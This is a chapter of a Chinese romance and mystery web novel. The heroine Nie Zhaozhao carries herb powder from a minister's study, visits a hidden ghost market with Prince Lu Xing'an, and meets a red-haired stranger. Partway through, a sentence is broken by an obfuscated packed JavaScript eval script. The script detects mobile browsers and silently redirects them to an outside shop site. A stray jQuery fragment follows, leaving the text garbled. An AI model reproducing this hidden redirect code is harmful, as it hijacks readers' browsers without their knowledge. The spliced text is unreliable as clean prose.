“谁在屏风后面??!”
静嬷嬷的声音由远及近,逐渐清晰。聂昭昭心中一紧,四下找寻着何处可藏匿。
倏地,她看见那书案旁,一处窗户半开着。
聂昭昭顾不得其他,将剩余的药粉末子,尽数攥在手心中,朝着那半掩着的窗棂奔去。
她动作极快,加之丫鬟的衣物本就裁剪得麻利,不过一会儿,聂昭昭便从那窗户逃脱。
“嘿,真是奇怪了,分明是,看见人了呀......”
静嬷嬷在屏风外止住了脚步,困惑起来。一阵风刮进屋内,她哆嗦了一下,耳边又传来那大法师念咒的声响。一阵恐惧攀上静嬷嬷的心头。怕是碰见什么脏东西......腿脚比想得快。静嬷嬷撒丫子,快步走出了书房。
聂昭昭侥幸逃出,理了理衣衫,按着来时的路走了回去。
等到了相府库房,方才的女婢忙迎了上来,一脸焦急:“你这,怎的这么慢。”
“姐姐,实在对不住,这不,吃坏了东西。”
聂昭昭说罢,上前去,堆着笑,叫人看了没法儿生气。
“罢了罢了。得快回去复命去。”
天色已至正午。
林瑗身后跟着一众女婢,相送陆行安和聂昭昭于相府门口。
“那臣妇便恭送王爷了。”
她朝着马车上的陆行安说着,行了礼。
直到车被缓缓拉动起来,聂昭昭的目光才从马车外渐渐模糊的景色中挪开。
“如何?有没有什么发现?”陆行安侧过头来看向聂昭昭,问。
“你瞧,”聂昭昭说着,将手中一直攥着的孟桥草粉末展开来,“这是孟桥草研磨出的粉末。”
“孟桥草又是何物?”
陆行安有些头疼来,眼前的小郎中,怎么尽说些闻所未闻的东西?
“是能致幻的药材,喜水,尤其是寒江水,不常见,”聂昭昭说到,“这东西我是在萧相的书房发现的。我觉得这是真正的凶手留下的罪证。”
“你比我想得大胆。”陆行安就这么看着聂昭昭,轻挑着眉,眼眸微眯,笑道:“说吧,下一步,你又想去哪儿查?”
聂昭昭想着,半晌才道:“如此罕见的药材,也许只有一个地方有!可是我不知道怎么去。”
她说罢,又朝着陆行安凑进了些:“不知道慈悲仁心的宸王殿下能不能看在我是一个小女子的份上,带我去了?”
“什么地方?”
“鬼市。”
“鬼市?”
陆行安倚靠在马车一侧,风涌进马车中,发丝荡起,遮住了他些许视线。
陡然,陆行安眼里闪过一抹狡黠来,一只手捏住聂昭昭的脸颊,笑得灿烂:“我可以带你去。”
“不过,我有一个条件。”
夜色笼罩在京都上空。
聂昭昭同着陆行安后边儿跟着奉康,三人一齐站在有些眼熟的巷子口。
朝里看去,看不见半点光影。
聂昭昭对照着手中的地图,来回渡步。恍然发现,这儿竟是那日她与陆行安为躲避善衣堂的人而藏身的巷子。
“走吧。”陆行安说得散漫,只是瞧了她一眼,便径直朝里走去。
小巷漆黑不见五指。聂昭昭向前迈着小步,小心翼翼试探着。
她方才仔细看过,通鬼市,需经过鬼门关,而这鬼门关,便是藏匿于这狭窄的小巷中。
聂昭昭的手摸索着,那地图中标注的那打开鬼门关的机关位置。
蓦地,她触上一个温热的掌心,耳边传来陆行安的声音:“别动。”
她觉得这脚下的步履越陷越深,似是有什么要将她吞尽。
“咔嗒——”
一声清脆,回荡在逼仄的巷墙间。
“咦?”
且不待聂昭昭多问,猛的,她脚下的地面震动,她身形摇晃,一声惊叫没入在恐惧之中,咽回了喉咙去。
聂昭昭万般惊诧,这鬼市的机关竟在脚下!
石板往下沉去,阴暗潮湿的风从下方涌出,使得她不由地闭上眼,手指也不由地攥紧了陆行安的手。
风卷起聂昭昭的发丝,朝上而去,耳旁还传来阵阵呼啸声。
不知过了多久,脚下石板的速度逐渐平缓。
“到了。”陆行安说着。
聂昭昭虚虚睁开一只眼皮,她看得不太真切,但眼前景象,让她诧异不已。
灯火通明,形色各异的人带着神态各异的傩戏面具,穿梭在不同的暗道内。红铃随着绯色彩条摇摆着,神婆掐指算着,摇头摆脑。买卖黑药蛊毒的苗疆娘子,正抚摸这一条足足臂膀大小的毒蝎。远处的奴隶主将手底下不听话的奴隶捆起来绑在高处,不喂粥米,活活饿死,以儆效尤。
“这,就是闻名大齐的鬼市。小郎中,你觉得如何?”
陆行安说着,接过鬼市童子递来的面具,分别戴在聂昭昭和自己的脸上。
“好大呀......”
聂昭昭感叹着,不停地四处张望着。她可太好奇了。
聂昭昭跟在陆行安身后,透过面具向外望去。
一路上的摊贩,售卖的东西稀奇的很,有会说话的布偶人,看上去年代颇远的传家宝剑,一些璀璨夺目的宝玉金珠。
蓦地,聂昭昭看见一处小贩,正摆弄着一株看着通体血红的人参。
百年血参。
这可是数百年才能初长成型的药材。聂昭昭心中一喜,忙不迭地跑到那个药摊边儿上。
“你这是血参?”聂昭昭问着,惊奇地看着那青叶。
那商贩打量了聂昭昭一圈,才道:“客官好眼力,这的确是血参,还是五百年的血参。”
“这得多少钱啊?”聂昭昭双眼都要冒出金光来。
那商贩伸出五根指头,对着她晃悠。
“五十两金?”
商贩嗤笑出声,只道:“五千两金。”
“五千两金!!?”聂昭昭被惊得说不出话。五千两金,别说是寻常百姓了,就是官吏,整整几十百代都花不完。这么一株血参虽稀缺,但却能卖这么高昂的价格,属实让她如遭雷劈。
“看什么呢?”
陆行安的声音突兀地从聂昭昭的身侧传来。她歪头看向他,虽看不清神情,但声音颓靡:“这个居然要五千两金。”
说罢,聂昭昭亦同这商贩般,伸出五根指头,在陆行安身前晃了晃。
陆行安只是弯下身,伸手将那血参拿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14215203|151111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
起,对着那商贩道:“记我账上,月十五去府中领钱就是。”随后,便将那血参扔进聂昭昭的怀中。
“是,是,小的明白。”
聂昭昭看着那商贩对着眼前的陆行安点头哈腰,又看着自己怀中五千两金的血参,不禁开口到:“王爷,您大气!”
倏地,一枚泛着月牙白的玉佩让聂昭昭不禁上了前去。
“这是?”
她看着玉佩出了神,总觉得熟悉。
“客官,这是上乘白玉所制,触手温软,是极好的佳品啊......”
卖玉的商贩滔滔不绝地讲着。蓦地,他的声音逐渐变得期待:“这一枚只要三十两。”
“金?”聂昭昭问到。
“不不,是银。”
兴许是方才血参的价格实在高昂,这块玉佩的价格,倒是让聂昭昭松下一口气来。
“王爷,你。”她转头想同陆行安说点什么,可转头却见着陌生的面孔。
陆行安呢?聂昭昭放下玉佩,慌了神,朝着人群中挤去。
“诶!二十两!别走啊!实在不行十两?!”
那商贩的声音传来,可聂昭昭只一个劲儿的随着人潮往前走。
她独自走在这偌大的鬼市之中,周遭纷扰。她心中怅然,却只能透过这傩戏面具,四处寻找着那两抹熟悉的踪迹。
可她看着这人来人往的鬼市,找寻了许久,却如何也找不到陆行安。
聂昭昭走在人群中间,迷惘不已。她瞧着周围的光怪陆离,焦急万分。
蓦地,几个孩童从她身边经过。聂昭昭随手抓住一个看似娇小的孩童衣袖,比划道:“小孩儿,你见着过一个这么高,这么宽的男子带着另一个这么宽,这么高的男子吗?”
且不等那“小孩”开口,身后便传出一道清冽的男声来。
“你问他,哪里有用?”
聂昭昭转过身去,站在她面前的男子,一头暗红色的头发,披散着,落在腰间。他面前几缕发丝被掐丝苗银捆住,分成辫子状。他没戴面具,有几分胡人相貌,生得俊逸不凡,一双幽黑的眼仁看得人心肝颤。
元筠身着靛蓝色的袍衫,环抱双臂,眉眼带笑。他身后跟着乌泱泱一群人。
聂昭昭瞧着那些人,人手一把弯刀,像是侍卫打扮。
“你拽着的也不是小孩,他芳龄三十又五。”
元筠的话语让聂昭昭怔愣着,低头去看,便见那“小孩”挣脱开她的桎梏,用极为成年男子的声音,说到:“怎么说话呢?你丫全家都是小孩!”
这下,聂昭昭瞠目结舌。原是个侏儒啊。她心里想着,手不自觉地挠了挠后脑勺,刚想开口说“对不住”,那原本安稳的面具便骤然散开,脱离了她的脸庞。
“————!!!”
面具掉在地上,翻滚了几个圈儿,最终落在一双暗金金缕云边靴的边儿上了。
聂昭昭慌忙走过去,弯下腰,想将面具捡起。可不料一双手,比她先一步赶到。
“怎么这么不小心啊?”元筠的声音充满魅惑,他向前走了一步,将那面具重新放在了聂昭昭的脸上,为她将这傩戏面具系好了去:“小娘子,想找谁?”
“你告诉我,或许,我可以帮你。”